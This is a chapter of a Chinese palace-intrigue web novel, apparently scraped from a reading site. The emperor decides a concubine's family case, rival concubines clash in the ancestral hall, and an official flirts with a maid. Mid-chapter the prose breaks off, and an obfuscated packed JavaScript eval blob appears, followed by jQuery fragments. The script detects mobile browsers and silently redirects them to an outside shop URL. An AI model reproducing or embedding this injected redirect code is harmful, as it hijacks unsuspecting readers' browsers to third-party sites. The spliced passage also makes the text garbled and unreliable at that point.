55. 金笼之鸟

作品:《段姑娘每天打两份工

    是夜,风灯摇摇晃晃,数名宫女太监簇拥着郑淑妃来到文华殿。


    等待通传,其余人留下,只有一名手捧红漆丹盘的宫女随淑妃进入殿内。


    “臣妾,给陛下请安。”


    皇帝目光迎向翩然而至的淑妃,“免礼,你过来吧。”


    大殿上,此时正站着一对年轻男女。


    琼林玉树,一个是靖卫司的掌司周元澈。


    芍药笼烟,一个是燕王府的昌乐郡主。


    淑妃瞥了那二人一眼,笑着走到御案前,亲手端起丹盘里那碗桃花羹。


    “陛下,臣妾是不是来的不是时候呀?”


    “怎会?爱妃来的很是时候,朕正想着你做的桃花羹呢。”


    郑贵妃含羞满面,脸衬桃花,拨弄着汤羹,一勺一勺亲送到皇帝唇边。


    皇帝略尝了几口,将一份供词拿起,“爱妃,这份供状,你也看看吧。”


    “是。”


    淑妃将碗搁下,拿起来看时,花容失色。


    这份,便是何玉鸾诬陷郑家四公子的认罪书,底下有她的指印和签字。


    郑淑妃读完,定住心神。


    何玉鸾跟郑砚池,她只能除掉一个,那就除掉威胁最大的那个。


    “陛下,臣妾不懂这些是是非非的,只不过臣妾也知道爹爹爱子心切,不如陛下宽宥四弟,留他一条性命吧。”


    皇帝沉吟片刻,忽然把那份供词往桌上一摔,冷笑道:“哼,你倒是有孝心,可你爹竟是把朕的朝堂当儿戏啊,随便找个妾的外甥女当替死鬼,亏他想得出来!”


    郑淑妃惶恐,慌忙跪下请罪:“臣妾失言,请陛下赐罪!”


    她肩头微颤,仿佛雷雨打坏花枝。


    皇帝心有不忍,握着淑妃两手将她搀起,“放心,你爹的事,和你无关,爱妃无需请罪。”


    “陛下,”周元澈见机行事,“臣这里也有一份供词,口供出自长公主府内之人,想必不会有造假之嫌。”


    “刘琨,叫他把供词呈上来。”


    太监刘琨走下阶去接过供词,呈上来,皇帝看完这份供词,方信郑鹤秋所言。


    “看来朕卿家所言不虚,那依你所见,这案子该如何处理?”


    “这位何小姐心肠歹毒,理应处以极刑,以儆效尤,方可不使天下女子竞相效仿。至于郑四少爷,虽是蒙受不白之冤,到底是害了一条无辜性命,臣以为,应当杖一百,流三千里。”


    郡主振袖反驳:“周掌司这样处置也未免太严苛,那郑家四公子蒙受不白之冤,未有补偿不说,反倒还要流放,岂有这种道理?我看,陛下仁德之名,全被你这等小人搅坏了!”


    “郡主说的也有道理,可是……”


    “行了,你们不需辩驳,这事朕自有定夺,朕也乏了,都退下吧。”


    “是。”


    众人告退,大殿内只留下郑淑妃陪伴皇帝。


    殿外,小太监掌着灯,周元澈在灯影里走着,身后蓦地传来一阵急促的脚步声。


    “周元澈,你站住!”


    他停住脚步,回身看向昌乐:“郡主有事找臣?”


    “那一晚,那个姓段的丫头被下了药,你说她去哪儿了呢?”昌乐的眼神,像蛇一样,死死缠在他身上,“这么大个疑点,居然无人过问,你不觉得奇怪吗?”


    他从容应道:“臣不知道,终归是女儿家的私事,还是给人家留点体面的好。”


    郡主盈盈笑道:“看来我得找郑家二少爷谈谈,听说他近来要纳妾,你知不知道他要纳的妾,就是这个段青萍。”


    周元澈莞尔微笑:“想不到郡主这么为臣着想,若郡主能说服二公子放手,让臣得此美妻,臣当真是感激涕零。”


    郡主颇为惊讶,“那晚你还说那丫头诸般不好,可知你是扯谎!”


    “郡主做的亲事,臣当然该高兴才是,这就叫爱屋及乌。”


    昌乐脸色涨红,当即甩他一巴掌,“你们男人全是贱人!”


    随后郡主拂袖而去。


    周元澈冷眼瞧着郡主离去的身影,用手背蹭去唇角渗出的血丝。


    他倒没扯谎。


    他宁肯娶那个珠圆玉润的丫头,也不会多看这美丽的蛇蝎毒妇一眼。


    风起,烛影摇红,瑞云起身关好窗。


    陈雪游坐在桌边读信,雪白笺纸上的字遒劲有力,他的字和人一样干净清澈,可转眼之间,被她投入火里,灰飞烟灭。


    她把灰烬扫进渣斗,随后起身出门。


    “姨娘,奴婢有好消息要告诉您,这次,四爷的命可算是保住了。”


    周元澈的密信上道:郑砚池最坏的结果,应当是杖责和流放。


    柳琴心得知是这个结果,仍是心情郁郁,“那这几年,我都见不着那孩子了。”


    “眨眼光阴易逝,相信重逢那日也会很快到来,姨娘要放宽心,耐着性子等待。”


    柳姨娘听了这些宽慰的话,顿时豁然开朗。


    当晚她便早早歇下,次日辰时用过饭,只叫段青萍跟着,一路穿花拂柳来到郑家祠堂,手捻三支檀香,跪拜列祖列宗。


    乳燕低飞,绕过初绽新蕊的桃枝,衔着春泥在檐下筑巢。


    天光迤逦淌入门内,徘徊在她那双葱白缎子纱绿高底鞋左右,耳后,沉重的脚步声渐渐逼近。


    柳姨娘蓦地转过头,看见的是郑鹤秋神情严峻的脸。


    她跌坐在地上,声音颤抖:“老…老爷。”


    郑鹤秋双手拢入袖内,微眯着眼,“谁准许你到这里来的,不是跟你说过,你这辈子都不许进入郑家祠堂吗?”


    柳姨娘抬头,凤眸含泪,宛如惊弓雀鸟,臣服在猎人的脚下。


    今天她决定做猎物,异日她也可能做刽子手。


    “妾身…实在是担心池儿,所以才来求祖宗保佑。妾想着,郑家历代都是豪杰之辈,祖宗英灵在上,必能庇佑我们的孩子。”


    她的傲骨尽卸,再一次在他面前展露柔弱,从前不屑再使用的那些风月手段,今日她尽情施展。


    果然他眼里的盛怒如同潮水退去,漫上来的是缠绵难忘的旧情。


    这个女人曾叫他爱恨交加,也因此成了他心里一道过不去的坎。


    “怜你一片爱子之心,今日的事就算了,以后莫要再犯。”


    “是。”柳琴心起身告退,未出门,又折身返回。


    “还有什么事?”


    “妾身见老爷的衣裳有一处破损,斗胆想替您补好它。”


    “哪儿呢?”


    “这里。”


    他抓起道袍大袖,底下果然有一道口子,想是方才路过桃林,被枝条勾破的。


    “有劳。”


    春阳明媚,空气里花香浮动,鸟鸣啁啾。


    她埋头收针,咬断线头。


    郑鹤秋怔怔看着她素净的发髻,忍不住轻抚那一头柔软如缎的青丝,岁月只是路过她,她还是和从前那样漂亮。


    “琴心……”


    “缝好了,老爷。”


    她甫一抬头,四目相对,怔怔出神。


    “这么多年,你还怨我么?”


    她摇头。


    郑鹤秋微笑着伸手去揽柳琴心的肩膀,忽被一声轻咳打断,“老爷!”


    他收回手,只见孙姨娘从门外进来,杏眼婆娑,香腮堕泪,这时又怜爱起这个,究竟孙若兰不离不弃陪了他这许多年,情深义重。


    “兰儿怎么也到祠堂来了?”


    孙姨娘捏着帕子拭泪,上前几步,故意横在二人之间,“妾身对不起妹妹。”


    说着要给柳琴心跪下,柳氏慌忙将她扶起,“姐姐这是做什么?”


    “都怨我,没教好玉鸾这丫头,让她害得池哥儿蒙受不白之冤,我是特意来祠堂跟祖宗谢罪的。我对不起妹妹,更愧对郑家列祖列宗呐!”


    孙姨娘哭得愈发厉害,郑鹤秋搂着她柔声安慰:“兰儿,委屈你了,这原也不是你的错,想来她也不会怪你。”


    柳琴心亦点头,“是啊,姐姐何必自责,孩子们大了,终究我们也管不了太多,若要怨就更该怨我,也是我没把池哥儿教好。”


    再怨下去,就没完没了的,两位姨娘于是决定握手言和,相亲相爱如同姊妹。


    恰好这时候,吴管家来找郑鹤秋,“老爷,宫里来消息了!”


    前厅,刘琨端起茶盏,身后为他捏肩捶背之的人乃是他的义子周元澈。


    郑鹤秋等终于到了前厅,全都跪下听圣上口谕。


    “圣上开恩,免四公子死罪,可是这活罪是逃不过了。”


    郑鹤秋谢恩,随后吩咐人置办酒宴请公公小酌,刘琨笑眯眯道:“不必,我还有事。”


    周元澈却在身后轻轻拉他衣袖。


    “干爹。”


    “咱家忘了,这事倒还不急。”


    郑鹤秋大喜,忙命人传饭。


    其时日近正午,适逢厨房开火,临时


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16932955|188618||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    又添上两道大菜,郑鹤秋还拿出了珍藏多年的梨花白,亲自为刘琨斟酒。


    “有劳刘公公、周公公亲自跑一趟,聊置薄酒,希望二位不要嫌弃。”


    斟酒斟到周元澈时,他挪开酒杯,“无需劳烦大人,我自己来。”


    刘琨又岂能看不出他的心思?


    “郑大人,能否叫那个丫头过来倒?”


    郑鹤秋循着刘琨目光看去,原来是看中柳琴心身边那个丫头。


    “琴心,你那丫头,叫什么名字来着?”


    “她叫青萍。”


    “叫她过来倒酒。”


    陈雪游福了福身子,面无表情走上来提起酒壶,将酒水倒入周元澈杯中。


    周元澈望着她,端起酒杯,“有劳。”


    一杯、两杯、三杯、四杯,他的要求没完没了,直到后来舀汤时,汤汁泼到他手上,污了大片衣袖。


    “啊,对不起,大人,我帮您擦干净。”


    心里想的却是:活该!谁叫你折腾我来着!


    周元澈皱眉:“你怎么这么不小心啊,这身衣裳可是沾不得油,一沾就彻底不能穿了。”


    陈雪游惶恐跪下:“大人恕罪,奴婢实在是无心的!”


    郑鹤秋蹙眉道:“你这丫头,怎么伺候大人的?”


    周元澈故作惆怅:“晚点我还要去见吴大人,这临时回府换衣裳恐怕是不及了。”


    “您若是不嫌弃,小儿与您身形相仿,不妨暂且换上他的衣裳。”


    “好啊。”


    “青萍,还不快带大人去二公子那边。”


    “是,”陈雪游站起身,恭恭敬敬对周大人道:“大人,请跟奴婢来。”


    郑砚龙此时在绮霞轩陪姨娘吃饭,不在房里。


    秋雨斋只有两个丫头在里屋吃饭。


    吃着吃着,忽见段青萍领着一个年轻英俊的公子走进房来,二人都看呆了眼。


    “老爷交代,要选一身衣裳给周掌司换上,还请两位姑娘帮帮忙,把二爷新买的,未曾穿过的衣裳都找出来。”


    陈雪游看着那两丫头一副花痴脸,猛地拍桌子,“看够了吗?”


    “啊,够了,够了!”


    两个丫头满面羞惭,随即起身把房里的衣橱打开,拿出四五件提在手里,“萍姐姐看看,喜欢哪件?”


    “问我做什么,这衣裳是给大人选的。”


    “萍姑娘若能帮我选,岂不是省了很多事?我这个人,最讨厌选择了。”


    他看着她,眉眼都是笑意。


    她只好选了一件竹青的圆领袍。


    陈雪游将袍子搁在衣桁,正要随她们出去,周元澈一把拉住她的手腕,“别走,你留下帮我换。”


    “大人!”她怒目圆睁,额角青筋凸起。


    “只是换个外袍,你怕了?难道我还会在这里欺负你不成?”


    她留下来,小心翼翼替他脱下脏污的外袍,换上那件竹青的圆领袍,系上犀角带。


    他的目光随着她的手落到他腰间,带扣扣好,白皙温软的一双手,他牢牢握在手心。


    周元澈醉眼朦胧,喃喃问道:“你,最近,可有想我?”


    这话,既问得她面红耳赤,也让她恼火。


    “你到底有完没完?究竟还要作弄我到几时?”


    “作弄?我没有作弄你啊。”


    这时,他握着的好像不再是一双手,而是振翅欲飞的鸟。


    “青萍,我问你,我带你离开这儿,你嫁我为妻可好?我再也不会逼你做任何事了。”


    但他还是狠不下心,以手为笼,困住她。


    “大人可真会说笑,奴婢已经许人,请您另择良配吧。”


    周元澈挨着黄花梨的圆桌坐下,“记得我们第一次见面,也是在郑家,要是那时候我带你走,我想,你一定会跟我走。”


    “可是你那时候,作弄我不说,还害我挨了打。所以,这辈子,你想都别想。”


    “对不起,”他认错,“那个时候,我恨的人是段玉鸿。我不知道,你不是她。”


    她眉梢微挑,警惕地盯着他,“你这话什么意思?”


    周元澈还未来得及解释,忽听外头有动静。


    “二爷,您回来了。”


    他心里冒出个坏念头:“你说,要是你未来夫君看到我们举止亲密,他会怎么想?”


    不等她回答,郑砚龙忽然推门而入。


    “萍儿,你,你们!”